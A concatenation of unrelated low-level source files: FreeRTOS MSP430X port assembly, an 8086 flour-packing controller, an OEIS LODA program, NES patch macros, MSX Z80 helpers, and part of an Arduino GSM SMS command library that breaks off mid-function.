// CLOBBER: $r2 - $r7
// SIZE: 14 * 8 bytes
//
gf100_rsq_f64:
nop
ret
.section #gf100_builtin_offsets
.b64 #gf100_div_u32
.b64 #gf100_div_s32
.b64 #gf100_rcp_f64
.b64 #gf100_rsq_f64
|
;/*
; * FreeRTOS Kernel V10.4.4
; * Copyright (C) 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
; *
; * SPDX-License-Identifier: MIT
; *
; * Permission is hereby granted, free of charge, to any person obtaining a copy of
; * this software and associated documentation files (the "Software"), to deal in
; * the Software without restriction, including without limitation the rights to
; * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
; * the Software, and to permit persons to whom the Software is furnished to do so,
; * subject to the following conditions:
; *
; * The above copyright notice and this permission notice shall be included in all
; * copies or substantial portions of the Software.
; *
; * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
; * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
; * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
; * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
; *
; * https://www.FreeRTOS.org
; * https://github.com/FreeRTOS
; *
; */
; * The definition of the "register test" tasks, as described at the top of
; * main.c
.include data_model.h
.global xTaskIncrementTick
.global vTaskSwitchContext
.global vPortSetupTimerInterrupt
.global pxCurrentTCB
.global usCriticalNesting
.def vPortPreemptiveTickISR
.def vPortCooperativeTickISR
.def vPortYield
.def xPortStartScheduler
;-----------------------------------------------------------
portSAVE_CONTEXT .macro
;Save the remaining registers.
pushm_x #12, r15
mov.w &usCriticalNesting, r14
push_x r14
mov_x &pxCurrentTCB, r12
mov_x sp, 0( r12 )
.endm
;-----------------------------------------------------------
portRESTORE_CONTEXT .macro
mov_x &pxCurrentTCB, r12
mov_x @r12, sp
pop_x r15
mov.w r15, &usCriticalNesting
popm_x #12, r15
nop
pop.w sr
nop
ret_x
.endm
;-----------------------------------------------------------
;*
;* The RTOS tick ISR.
;*
;* If the cooperative scheduler is in use this simply increments the tick
;* count.
;*
;* If the preemptive scheduler is in use a context switch can also occur.
;*/
.text
.align 2
vPortPreemptiveTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
call_x #vTaskSwitchContext
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.align 2
vPortCooperativeTickISR: .asmfunc
; The sr is not saved in portSAVE_CONTEXT() because vPortYield() needs
;to save it manually before it gets modified (interrupts get disabled).
push.w sr
portSAVE_CONTEXT
call_x #xTaskIncrementTick
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Manual context switch called by the portYIELD() macro.
;
.align 2
vPortYield: .asmfunc
; The sr needs saving before it is modified.
push.w sr
; Now the SR is stacked we can disable interrupts.
dint
nop
; Save the context of the current task.
portSAVE_CONTEXT
; Select the next task to run.
call_x #vTaskSwitchContext
; Restore the context of the new task.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
;
; Start off the scheduler by initialising the RTOS tick timer, then restoring
; the context of the first task.
;
.align 2
xPortStartScheduler: .asmfunc
; Setup the hardware to generate the tick. Interrupts are disabled
; when this function is called.
call_x #vPortSetupTimerInterrupt
; Restore the context of the first task that is going to run.
portRESTORE_CONTEXT
.endasmfunc
;-----------------------------------------------------------
.end
|
#make_bin#
;set loading address, .bin file will be loaded to this address:
#LOAD_SEGMENT=FFFFh#
#LOAD_OFFSET=0000h#
; set entry point:
#CS=0000h# ; same as loading segment
#IP=0000h# ; same as loading offset
; set segment registers
#DS=0000h# ; same as loading segment
#ES=0000h# ; same as loading segment
; set stack
#SS=0000h# ; same as loading segment
#SP=FFFEh# ; set to top of loading segment
; set general registers (optional)
#AX=0000h#
#BX=0000h#
#CX=0000h#
#DX=0000h#
#SI=0000h#
#DI=0000h#
#BP=0000h#
;Code---------------------------------------------------------------------------
;jump to the start of the code - reset address is kept at 0000:0000
jmp strt0
;jmp st1 - takes 3 bytes followed by nop that is 4 bytes
nop
;int 1 is not used so 1 x4 = 00004h - it is stored with 0
dw 0000
dw 0000
;EOC (of ADC) is used as NMI - ip value points to adc_isr and CS value will remain at 0000
dw adc_isr
dw 0000
;int 3 to int 39 unused so ip and cs intialized to 0000
db 244 dup(0)
;ivt entry for 40h
dw hrdisp
dw 0000
;int 3 to int 39 unused so ip and cs intialized to 0000
db 764 dup(0)
;initializing variables and defaults---------------------------------------------------------
org 1000h
keyin db ?
wt db 5
mintemp db 25
mtemp db 30
count db 0
TB_DEC db 7dh,0beh,0bdh,0bbh,0deh,0ddh,0dbh,0eeh,0edh,0ebh,0ah
org 0400h
strt0: cli
;intialize ds, es,ss to start of RAM
mov ax,0100h
mov ds,ax
mov es,ax
mov ss,ax
mov sp,0FFFEH
mov si,0000
;8255(1) initializing-----------------------------------------------------------
;starting address ??
;port a, port b, port c(lower) -> 0/p | port c(upper) -> i/p
mov al,10001000b
out 06h,al ;control reg.
mov al,00h
out 00h,al ;port A reset
mov al,00h
out 02h,al ;port B reset
mov al,00h
out 04h,al ;port C reset
;8255(2) initializing-----------------------------------------------------------
;starting address ??
;port a, port b, port c -> 0/p
mov al,10000000b
out 0eh,al ;control reg.
mov al,00h
out 08h,al ;port A reset
mov al,00h
out 0ah,al ;port B reset
mov al,00h
out 0ch,al ;port C reset
;8255(3) initializing-----------------------------------------------------------
;starting address ??
;port a, port c -> 0/p | port b -> i/p
mov al,10000010b
out 16h,al ;control reg.
mov al,00h
out 10h,al ;port A reset
mov al,00h
out 14h,al ;port C reset
;8254 initializing--------------------------------------------------------------
;starting address ??
mov al,00010110b
out 1eh,al
mov al,01110100b
out 1eh,al
mov al,10110100b
out 1eh,al
mov al,05
out 18h,al
mov al,60h
out 1ah,al
mov al,0eah
out 1ah,al
mov al,60h
out 1ch,al
mov al,0eah
out 1ch,al
;8259 initializing---------------------------------------------------------
;starting address ??
;ICW1 | a0 = 0
mov al,00010011b
out 20h,al
;ICW2 | a0 = 1
mov al,01000000b
out 22h,al
;ICW4 | a0 = 1
mov al,00000001b
out 22h,al
;OCW1 | a0 = 1
mov al,11111110b
out 22h,al
;Start main function------------------------------------------------------
strt1:
sti
call keypad
;if key pressed == start
mov al,keyin
cmp al,0b7h
jz strt3
;if key pressed == weight
mov al,keyin
cmp al,0d7h
jnz temp1
call weight
jmp strt1
;if key pressed == temp
temp1: mov al,keyin
cmp al,0e7h
jnz strt1
call temp
jmp strt1
;Start packing------------------------------------------------------------
strt3:
sti
mov di,01
call chtemp
cmp di,0
;error for high temp
jz stp
;invoking dispense function
call dispense
;count update
inc count
jmp strt1
;Temp alarm-------------------------------------------------------
stp:
;turning alarm on
mov al,00000011b
out 0ch,al
;check if stop keyy pressed again
exstp: call keypad
mov al,keyin
cmp al,77h
jnz exstp
mov al,00000000b
out 0ch,al ;turning alarm off
jmp strt1
adc_isr:
pushf
push bx
push cx
;dx is decremented to show NMI ISR is completed
dec dx
mov al,00000111b
out 16h,al
in al,12h
mov bl,al
mov al,00000110b
out 16h,al
mov al,bl
pop cx
pop bx
popf
iret
hrdisp:
pushf
push bx
push cx
sti
;display hourly counter1
mov al,count
call h2bcd
out 0ah,al
;reset count
mov count,00
pop cx
pop bx
popf
;OCW2 | a0 = 0 (end of isr)
mov al,00100000b
out 20h,al
iret
;procedure for taking keypad input----------------------------------------
keypad proc near
pushf
push bx
push cx
push dx
;all cols 00
K0: mov al,00h
out 04h,al
;check key release
K1: in al,04h
and al,0f0h
cmp al,0f0h
jnz K1
;debounce
mov cx,0027h ;2.5ms
delay1:
loop delay1
;all cols 00
mov al,00h
out 04h,al
;check key press
K2: in al,04h
and al,0f0h
cmp al,0f0h
jz K2
;debounce
mov cx,0027h ;2.5ms
delay2:
loop delay2
;all cols 00
mov al,00h
out 04h,al
;check key press
in al,04h
and al,0f0h
cmp al,0f0h
jz K2
;check for col 1
mov al,0eh
mov bl,al
out 04h,al
in al,04h
and al,0f0h
cmp al,0f0h
jnz K3
;check for col 2
mov al,0dh
mov bl,al
out 04h,al
in al,04h
and al,0f0h
cmp al,0f0h
jnz K3
;check for col 3
mov al,0bh
mov bl,al
out 04h,al
in al,04h
and al,0f0h
cmp al,0f0h
jnz K3
;check for col 4
mov al,07h
mov bl,al
out 04h,al
in al,04h
and al,0f0h
cmp al,0f0h
jnz K2
;key decode
K3: or al,bl
mov keyin,al
pop dx
pop cx
pop bx
popf
ret
keypad endp
;procedure for decoding digit key----------------------------------------------
digdec proc near
pushf
push bx
push cx
push dx
push di
mov cx,0Ah
mov di,00h
xdig: cmp al,TB_DEC[di]
je xdec
inc di
loop xdig
xdec: mov ax,di
pop di
pop dx
pop cx
pop bx
popf
ret
digdec endp
;convert hex to bcd
h2bcd proc near
pushf
push bx
push cx
push dx
mov bl,al
mov al,0
XH2B: add al,01
daa
dec bl
jnz XH2B
pop dx
pop cx
pop bx
popf
ret
h2bcd endp
;convert bcd to hex
bcd2h proc near
pushf
push bx
push cx
push dx
mov bl,al
and al,0F0h
and bl,0Fh
mov cl,04h
ror al,cl
mov cl,0Ah
mul cl
add al,bl
pop dx
pop cx
pop bx
popf
ret
bcd2h endp
;procedure for or taking temperature input---------------------------------------
temp proc near
pushf
push bx
push cx
push dx
mov al,keyin
cmp al,0e7h
jnz extm
;turning temp led on
mov al,00000001b
out 02h,al
;turning display on and setting displpay to 00
T0: mov al,00
mov bl,al
out 00h,al
T1: call keypad
mov al,keyin
call digdec ;digit decode
cmp al,0ah
jz T1
T6: out 00h,al
mov bl,al
mov cl,04
shl bl,cl
T2: call keypad
mov al,keyin
cmp al,7bh ;check for backspace
jz T0
call digdec ;digit decode
cmp al,0ah
jz T2
or bl,al
mov al,bl
out 00h,al
T3: call keypad
mov al,keyin
cmp al,7bh ;check for backspace
jz T4
cmp al,7eh ;check for enter
jz T5
jmp T3
T4: mov cl,04
shr bl,cl
mov al,bl
jmp T6
;setting displpay back to 00
T5: mov al,00
out 00h,al
;turning temp led off
mov al,00000000b
out 02h,al
mov mintemp,bl ;saving temp input
mov al,bl
call bcd2h
add al,05
mov mtemp,al
extm: pop dx
pop cx
pop bx
popf
ret
temp endp
chtemp proc near
pushf
push bx
push cx
push dx
;dx is made 1 to check whether NMI ISR is executed
mov dx,0001h
;make ALE high
mov al,00001011b
out 16h,al
;make SOC high
mov al,00001001b
out 16h,al
nop
nop
nop
nop
;make SOC low
mov al,00001000b
out 16h,al
;make ALE low
mov al,00001010b
out 16h,al
cht: cmp dx,0
jnz cht
inc al
inc al
cmp al,mtemp ;checking if temperature is in range
jle exctm
dec di
exctm: call h2bcd ;Display temp
out 08h,al
pop dx
pop cx
pop bx
popf
ret
chtemp endp
;procedure for taking weight(per bag) input--------------------------------------
weight proc near
pushf
push bx
push cx
push dx
mov al,keyin
cmp al,0d7h
jnz exwt
;turning weight led on
mov al,00000010b
out 02h,al
;turning display on and setting displpay to 00
W0: mov al,00
mov bl,al
out 00h,al
W1: call keypad
mov al,keyin
call digdec ;digit decode
cmp al,0ah
jz W1
W6: out 00h,al
mov bl,al
mov cl,04
shl bl,cl
W2: call keypad
mov al,keyin
cmp al,7bh ;check for backspace
jz W0
call digdec ;digit decode
cmp al,0ah
jz W2
or bl,al
mov al,bl
out 00h,al
W3: call keypad
mov al,keyin
cmp al,7bh ;check for backspace
jz W4
cmp al,7eh ;check for enter
jz W5
jmp W3
W4: mov cl,04
shr bl,cl
mov al,bl
jmp W6
;setting displpay back to 00
W5: mov al,00
out 00h,al
;turning weight led off
mov al,00000000b
out 02h,al
mov al,bl
call bcd2h
mov wt,al ;saving weight input
exwt: pop dx
pop cx
pop bx
popf
ret
weight endp
dispense proc near
pushf
push bx
push cx
push dx
;-----open valve------
mov al,80h
out 10h,al
mov cx,030ch ;0.05s
delay3:
loop delay3
mov al,00h
out 10h,al
;wait for desired flour to fill down into the packet------
mov bl,wt
fl: mov cx,0f3c0h ;rate of flow = 0.25kg/sec
fdel:
loop fdel
dec bl
jnz fl
;-----close valve------
mov al,40h
out 10h,al
mov cx,030ch ;0.05s
delay4:
loop delay4
mov al,00h
out 10h,al
pop dx
pop cx
pop bx
popf
ret
dispense endp |
; A211381: Number of pairs of intersecting diagonals in the exterior of a regular n-gon.
; 0,0,0,0,7,24,63,130,242,408,650,980,1425,2000,2737,3654,4788,6160,7812,9768,12075,14760,17875,21450,25542,30184,35438,41340,47957,55328,63525,72590,82600,93600,105672,118864,133263,148920,165927,184338,204250,225720
mov $13,$0
mov $15,$0
lpb $15,1
clr $0,13
mov $0,$13
sub $15,1
sub $0,$15
mov $10,$0
mov $12,$0
lpb $12,1
clr $0,10
mov $0,$10
sub $12,1
sub $0,$12
mov $7,$0
mov $9,$0
lpb $9,1
mov $0,$7
sub $9,1
sub $0,$9
mov $1,$0
mov $3,5
mov $6,$0
mul $6,2
lpb $0,1
add $1,2
trn $4,$6
mul $2,$4
sub $4,2
sub $6,1
add $6,$4
sub $4,$1
add $4,2
add $6,6
add $2,$6
gcd $4,$0
mul $2,$4
add $2,$0
sub $0,$0
sub $0,2
div $2,2
sub $2,3
mov $3,1
mul $3,$2
add $3,2
lpe
mov $1,$3
sub $1,5
add $8,$1
lpe
add $11,$8
lpe
add $14,$11
lpe
mov $1,$14
|
ifdef USEBASE
INCLUDE "inc-base.asm"
else
INCNES "base.nes"
endif
; ignore the base while generating the patch.
CLEARPATCH
; macros
SEEK EQU SEEKABS
SKIP EQU SKIPREL
MACRO SUPPRESS
ENUM $
ENDM
ENDSUPPRESS EQU ENDE
MACRO SKIPTO pos
if ($ >= 0)
SKIP pos - $
; just to be safe.
if ($ != pos)
ERROR "failed to skipto."
endif
endif
ENDM
FROM EQU SKIPTO
MACRO BANK bank
SEEK (bank * $4000) + $10
ENDM
IFDEF UNITILE
PLACE_OBJECTS=1
ENDIF |
;-----------------------------------------------
; From: http://www.z80st.es/downloads/code/ (author: Konamiman)
; GETSLOT: constructs the SLOT value to then call ENSALT
; input:
; a: slot
; output:
; a: value for ENSALT
GETSLOT:
and #03 ; Proteccion, nos aseguramos de que el valor esta en 0-3
ld c,a ; c = slot de la pagina
ld b,0 ; bc = slot de la pagina
ld hl,#fcc1 ; Tabla de slots expandidos
add hl,bc ; hl -> variable que indica si este slot esta expandido
ld a,(hl) ; Tomamos el valor
and #80 ; Si el bit mas alto es cero...
jr z,GETSLOT_EXIT ; ...nos vamos a @@EXIT
; --- El slot esta expandido ---
or c ; Slot basico en el lugar adecuado
ld c,a ; Guardamos el valor en c
inc hl ; Incrementamos hl una...
inc hl ; ...dos...
inc hl ; ...tres...
inc hl ; ...cuatro veces
ld a,(hl) ; a = valor del registro de subslot del slot donde estamos
and #0C ; Nos quedamos con el valor donde esta nuestro cartucho
GETSLOT_EXIT:
or c ; Slot extendido/basico en su lugar
ret ; Volvemos
;-----------------------------------------------
; From: http://www.z80st.es/downloads/code/
; SETPAGES32K: BIOS-ROM-YY-ZZ -> BIOS-ROM-ROM-ZZ (SITUA PAGINA 2)
SETPAGES32K: ; --- Posiciona las paginas de un megarom o un 32K ---
ld a,RET_OPCODE ; Codigo de RET
ld (SETPAGES32K_NOPRET),a ; Modificamos la siguiente instruccion si estamos en RAM
SETPAGES32K_NOPRET:
nop ; No hacemos nada si no estamos en RAM
; --- Si llegamos aqui no estamos en RAM, hay que posicionar la pagina ---
call RSLREG ; Leemos el contenido del registro de seleccion de slots
rrca ; Rotamos a la derecha...
rrca ; ...dos veces
call GETSLOT ; Obtenemos el slot de la pagina 1 ($4000-$BFFF)
ld (ROM_slot),a ; santi: I added this to the routine, so we can easily call methods later from page 1
ld h,#80 ; Seleccionamos pagina 2 ($8000-$BFFF)
jp ENASLT ; Posicionamos la pagina 2 y volvemos
;-----------------------------------------------
; Calls a function from page 1
; input:
; ix: function to call from page 1
; call_from_page1:
; ld a,(ROM_slot)
; ld iyh,a ; slot #
; jp CALSLT
;-----------------------------------------------
; - hl: ptr to the page1 zx0 data
; - de: target address to decompress to
decompress_from_page1:
ld a,(ROM_slot)
ld iyh,a ; slot #
ld ix,decompress_from_page1_internal
ld (decompress_from_page1_argument1),hl
ld (decompress_from_page1_argument2),de
call CALSLT
ei
ret
;-----------------------------------------------
; - hl: ptr to the page1 zx0 data
; - de: target address to decompress to
; - bc: size of the compressed data
; decompress_from_page1_via_RAM:
; ld a,(ROM_slot)
; ld iyh,a ; slot #
; ld ix,copy_from_page1
; ld (decompress_from_page1_argument1),hl
; ld (decompress_from_page1_argument2),bc
; push de
; call CALSLT
; ei
; pop de
; ld hl,page1_decompression_buffer
; jp dzx0_standard
;-----------------------------------------------
; source: https://www.msx.org/forum/development/msx-development/how-0?page=0
; returns 1 in a and clears z flag if vdp is 60Hz
; size: 27 bytes
CheckIf60Hz:
di
in a,(#99)
nop
nop
nop
vdpSync:
in a,(#99)
and #80
jr z,vdpSync
ld hl,#900
vdpLoop:
dec hl
ld a,h
or l
jr nz,vdpLoop
in a,(#99)
rlca
and 1
ei
ret
;-----------------------------------------------
; waits a given number of "halts"
; b - number of halts
wait_b_halts:
halt
djnz wait_b_halts
ret
;-----------------------------------------------
; hl: memory to clear
; bc: bytes to clear-1
clear_memory:
xor a
clear_memory_a:
ld d,h
ld e,l
inc de
ld (hl),a
ldir
ret
|
/*********************************************************************
*
* Sms command
*
*********************************************************************
* FileName: SmsCmd_GSM.cpp
* Revision: 1.0.0
* Date: 01/10/2016
*
* Revision: 1.1.0
* 01/12/2018
* - Improved code
*
* Dependencies: SmsCmd_GSM.h
* PhoneBookCmd_GSM.h
* Arduino Board: Arduino Uno, Arduino Mega 2560, Fishino Uno, Fishino Mega 2560
*
* Company: Futura Group srl
* www.Futurashop.it
* www.open-electronics.org
*
* Developer: Destro Matteo
*
* Support: info@open-electronics.org
*
* Software License Agreement
*
* Copyright (c) 2016, Futura Group srl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
**********************************************************************/
#include "SmsCmd_GSM.h"
#include "PhoneBookCmd_GSM.h"
#include "Isr_GSM.h"
#ifdef __AVR__
#include <avr/pgmspace.h>
#endif
#if ARDUINO >= 100
#include "Arduino.h"
#else
#include "WProgram.h"
#endif
/****************************************************************************
* Function: SetCmd_AT_CPMS
*
* Overview: This function is used to Select preferred SMS Message Stored. For details see AT commands datasheet
*
* PreCondition: None
*
* GSM cmd syntax: AT+CPMS? and the response is: +CPMS:<mem1>,<used1>,<total1>,<mem2>,<used2>,<total2>,<mem3>,<used3>,<total3>
* AT+CPMS=<mem1>,[,<mem2>,[<mem3>]]. The answer at this command is: +CPMS:<used1>,<total1>,<used2>,<total2>,<used3>,<total3>
*
* Input: TypeOfMem1: Memory type for message storage 1
* TypeOfMem2: Memory type for message storage 2
* TypeOfMem3: Memory type for message storage 3
* Query: "false" Sends command to select preferred SMS Message Stored
* "true" Sends command to read preferred SMS Message Stored
*
* Command Note: (The message_storage1 Parameter) -> The first parameter of the +CPMS AT command, message_storage1, specifies the message
* storage area that will be used when reading or deleting SMS messages.
* (For details about reading SMS messages, see AT commands +CMGR and +CMGL. For details
* about deleting SMS messages, see the AT command +CMGD.)
* (The message_storage2 Parameter) -> The second parameter of the +CPMS AT command, message_storage2, specifies the message
* storage area that will be used when sending SMS messages from message storage or
* writing SMS messages. (For details about sending SMS messages from message storage, see
* the AT command +CMSS. For details about writing SMS messages, see the AT command +CMGW.)
* (The message_storage3 Parameter) -> The third parameter of the +CPMS AT command, message_storage3, specifies the preferred
* message storage area for storing newly received SMS messages. If you use the +CNMI AT
* command (command name in text: New Message Indications to TE) to tell the GSM/GPRS modem
* or mobile phone to forward newly received SMS messages directly to the PC instead of
* storing them in the message storage area, you do not need to care about the message_storage3
* parameter.
* Here are the values defined in the SMS specification that may be assigned to the parameters message_storage1,
* message_storage2 and message_storage3:
*
* SM -> It refers to the message storage area on the SIM card.
* ME -> It refers to the message storage area on the GSM/GPRS modem or mobile phone. Usually its storage space is larger
* than that of the message storage area on the SIM card.
* MT -> It refers to all message storage areas associated with the GSM/GPRS modem or mobile phone. For example, suppose a
* mobile phone can access two message storage areas: "SM" and "ME". The "MT" message storage area refers to the
* "SM" message storage area and the "ME" message storage area combined together.
*
* Output: Return unsigned char
* Return -> 0 (System Busy. Command not executed)
* Return -> 1 (Command sent)
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
uint8_t SmsCmd_GSM::SetCmd_AT_CPMS(uint8_t TypeOfMem1, uint8_t TypeOfMem2, uint8_t TypeOfMem3, bool Query) {
if ((Gsm.StateWaitAnswerCmd != CMD_WAIT_IDLE) || (Gsm.UartState != UART_IDLE_STATE) || (Gsm.GsmFlag.Bit.CringOccurred == 1)) {
return(0); // System Busy
} else {
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
//Gsm.ResetAllFlags();
Gsm.ResetGsmFlags();
Gsm.ResetSmsFlags();
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 1;
Gsm.GsmFlag.Bit.UartTimeOutSelect = T_1S_UART_TIMEOUT;
Gsm.BckCmdData[0] = TypeOfMem1;
Gsm.BckCmdData[1] = TypeOfMem2;
Gsm.BckCmdData[2] = TypeOfMem3;
Gsm.BckCmdData[3] = Query;
if (Query == false) {
Gsm.ReadStringFLASH((uint8_t *)AT_CPMS, (uint8_t *)Gsm.GSM_Data_Array, strlen(AT_CPMS));
Sms.Sms_Mem1_Storage.Type = TypeOfMem1;
FlashAddSmsTypeMem(TypeOfMem1);
Gsm.ReadStringFLASH(FlashSmsMemTypeAdd, ((uint8_t *)Gsm.GSM_Data_Array + CPMS_MEM1_OFFSET), strlen(SMS_SM));
Gsm.GSM_Data_Array[CPMS_MEM1_OFFSET + 4] = ASCII_COMMA;
Sms.Sms_Mem2_Storage.Type = TypeOfMem2;
FlashAddSmsTypeMem(TypeOfMem2);
Gsm.ReadStringFLASH(FlashSmsMemTypeAdd, ((uint8_t *)Gsm.GSM_Data_Array + CPMS_MEM2_OFFSET), strlen(SMS_ME));
Gsm.GSM_Data_Array[CPMS_MEM2_OFFSET + 4] = ASCII_COMMA;
Sms.Sms_Mem3_Storage.Type = TypeOfMem3;
FlashAddSmsTypeMem(TypeOfMem3);
Gsm.ReadStringFLASH(FlashSmsMemTypeAdd, ((uint8_t *)Gsm.GSM_Data_Array + CPMS_MEM3_OFFSET), strlen(SMS_MT));
Gsm.GSM_Data_Array[CPMS_MEM3_OFFSET + 4] = ASCII_CARRIAGE_RET;
Gsm.GSM_Data_Array[CPMS_MEM3_OFFSET + 5] = ASCII_LINE_FEED;
Gsm.WritePointer = CPMS_MEM3_OFFSET + 6;
} else {
Gsm.ReadStringFLASH((uint8_t *)ATQ_CPMS, (uint8_t *)Gsm.GSM_Data_Array, strlen(ATQ_CPMS));
Gsm.WritePointer = strlen(ATQ_CPMS);
}
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CPMS, ANSWER_SMS_AT_CMD_STATE);
}
return(1); // Command sent
}
/****************************************************************************/
/****************************************************************************
* Function: SetCmd_AT_CMGD
*
* Overview: This function is used to Delete SMS. For details see AT commands datasheet
*
* PreCondition: None
*
* GSM cmd syntax: AT+CMGD=<index>[,<delflag>]
*
* Input: Index: Location of memory to be delete
* DelFlag: Action to be execute
*
* Command Note: <SmsIndex> Integer type; value in the range of location numbers supported by the associated memory
* <delflag> "0" Delete the message specified in <index>
* "1" Delete all read messages from preferred message storage, leaving unread messages and stored
* mobile originated messages (whether sent or not) untouched
* "2" Delete all read messages from preferred message storage and sent mobile originated messages,
* leaving unread messages and unsent mobile originated messages untouched
* "3" Delete all read messages from preferred message storage, sent and unsent mobile originated
* messages leaving unread messages untouched
* "4" Delete all messages from preferred message storage including unread messages
*
* Output: Return unsigned char
* Return -> 0 (System Busy. Command not executed)
* Return -> 1 (Command sent)
*
* GSM answer det: None
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
uint8_t SmsCmd_GSM::SetCmd_AT_CMGD(uint8_t SmsIndex, uint8_t DelFlag) {
uint8_t Index;
if ((Gsm.StateWaitAnswerCmd != CMD_WAIT_IDLE) || (Gsm.UartState != UART_IDLE_STATE) || (Gsm.GsmFlag.Bit.CringOccurred == 1)) {
return(0); // System Busy
} else {
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
//Gsm.ResetAllFlags();
Gsm.ResetGsmFlags();
Gsm.ResetSmsFlags();
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 1;
Gsm.GsmFlag.Bit.UartTimeOutSelect = T_1S_UART_TIMEOUT;
Gsm.BckCmdData[0] = SmsIndex;
Gsm.BckCmdData[1] = DelFlag;
Gsm.ReadStringFLASH((uint8_t *)AT_CMGD, (uint8_t *)Gsm.GSM_Data_Array, strlen(AT_CMGD));
Index = CMGD_INDEX_OFFSET + Gsm.ConvertNumberToChar(SmsIndex, ((uint8_t *)(Gsm.GSM_Data_Array) + CMGD_INDEX_OFFSET), 0);
Gsm.GSM_Data_Array[Index++] = ASCII_COMMA;
Gsm.GSM_Data_Array[Index++] = (DelFlag + 0x30);
Gsm.GSM_Data_Array[Index++] = ASCII_CARRIAGE_RET;
Gsm.GSM_Data_Array[Index++] = ASCII_LINE_FEED;
Gsm.WritePointer = Index;
Gsm.StartSendData(CMD_SMS_IDLE, WAIT_ANSWER_CMD_AT_CMGD, ANSWER_SMS_AT_CMD_STATE);
}
return(1); // Command sent
}
/****************************************************************************/
/****************************************************************************
* Function: SetCmd_AT_CMGR
*
* Overview: This function is used to Read SMS. For details see AT commands datasheet
*
* PreCondition: None
*
* GSM cmd syntax: AT+CMGR=<index>[,<mode>]
*
* Input: Index: Location of memory to be read
* Mode: Change SMS state
*
* Command Note: <SmsIndex> Integer type; value in the range of location numbers supported by the associated memory
* <mode> "0" Normal; "1" Not change status of the specified SMS record
*
* Output: Return unsigned char
* Return -> 0 (System Busy. Command not executed)
* Return -> 1 (Command sent)
*
* GSM answer det: If Text mode (SMS-DELIVER): +CMGR: <stat>,<oa>[,<alpha>],<scts>[,<tooa>,<fo>,<pid>,<dcs> ,<sca>,<tosca>,<length>]<CR><LF><data>
* If Text mode (SMS-SUBMIT): +CMGR: <stat>,<da>[,<alpha>][,<toda>,<fo>,<pid>,<dcs>[,<vp>] ,<sca>,<tosca>,<length>]<CR><LF><data>
* If Text mode (SMS-STATUS-REPORTs): +CMGR: <stat>,<fo>,<mr>[,<ra>][,<tora>],<scts>,<dt>,<st>
* If Text mode (SMS-COMMANDs): +CMGR: <stat>,<fo>,<ct>[,<pid>[,<mn>][,<da>][,<toda>] ,<length><CR><LF><cdata>]
* If Text mode (CBM storage): +CMGR: <stat>,<sn>,<mid>,<dcs>,<page>,<pages><CR><LF><data>
* PDU-Mode +CMGR: <stat>[,<alpha>],<length><CR><LF><pdu>
*
* Side Effects: None
*
* Note: This is a public function
*****************************************************************************/
uint8_t SmsCmd_GSM::SetCmd_AT_CMGR(uint8_t SmsIndex, uint8_t Mode) {
uint8_t Index;
if ((Gsm.StateWaitAnswerCmd != CMD_WAIT_IDLE) || (Gsm.UartState != UART_IDLE_STATE) || (Gsm.GsmFlag.Bit.CringOccurred == 1)) {
return(0); // System Busy
} else {
Gsm.ClearBuffer(&Gsm.GSM_Data_Array[0], sizeof(Gsm.GSM_Data_Array));
//Gsm.ResetAllFlags();
Gsm.ResetGsmFlags();
Gsm.ResetSmsFlags();
Gsm.GsmFlag.Bit.GsmSendCmdInProgress = 1;
Gsm.GsmFlag.Bit.UartTimeOutSelect = T_1S_UART_TIMEOUT;
Gsm.BckCmdData[0] = SmsIndex;
Gsm.BckCmdData[1] = Mode;
Gsm.ReadStringFLASH((uint8_t *)AT_CMGR, (uint8_t *)Gsm.GSM_Data_Array, strlen(AT_CMGR));
